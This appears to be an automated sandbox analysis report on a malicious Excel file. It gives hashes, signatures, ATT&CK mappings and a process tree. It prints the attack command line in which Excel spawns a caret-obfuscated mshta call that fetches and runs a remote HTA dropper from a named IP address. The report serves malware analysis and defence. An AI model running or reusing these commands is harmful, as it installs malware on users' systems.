b4fdd0ad80aeacb9fe376e2033e6bedb40d260f8e02b948e8f9f32e4544220aa

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20/11/2024, 12:54

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General

Target

b4fdd0ad80aeacb9fe376e2033e6bedb40d260f8e02b948e8f9f32e4544220aa.xls
Size

101KB
MD5

e1971894e94e0c29a57248a2940d7d4d
SHA1

12640bcd639513cbaf5f698b5c8069a874d37548
SHA256

b4fdd0ad80aeacb9fe376e2033e6bedb40d260f8e02b948e8f9f32e4544220aa
SHA512

e157531246d5254a9ccc8382c20102e0faaae61aaed823fa7a63eff8da464c147a8133945bab86d35c255c3c14a322ddf787d89435925751ac83a358d325abcf
SSDEEP

3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe3.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	3040	352	cmd.exe	29

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	1260	mshta.exe
5	1260	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4177215427-74451935-3209572229-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
352	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
352	EXCEL.EXE
352	EXCEL.EXE
352	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 352 wrote to memory of 3040	352	EXCEL.EXE	30
PID 352 wrote to memory of 3040	352	EXCEL.EXE	30
PID 352 wrote to memory of 3040	352	EXCEL.EXE	30
PID 352 wrote to memory of 3040	352	EXCEL.EXE	30
PID 3040 wrote to memory of 1260	3040	cmd.exe	32
PID 3040 wrote to memory of 1260	3040	cmd.exe	32
PID 3040 wrote to memory of 1260	3040	cmd.exe	32
PID 3040 wrote to memory of 1260	3040	cmd.exe	32

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\b4fdd0ad80aeacb9fe376e2033e6bedb40d260f8e02b948e8f9f32e4544220aa.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:352
- C:\Windows\SysWOW64\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3040
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://0xb907d607/fer/fe3.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:1260

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/352-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/352-1-0x0000000072A0D000-0x0000000072A18000-memory.dmp

Filesize
44KB

Download
memory/352-2-0x0000000072A0D000-0x0000000072A18000-memory.dmp

Filesize
44KB

Download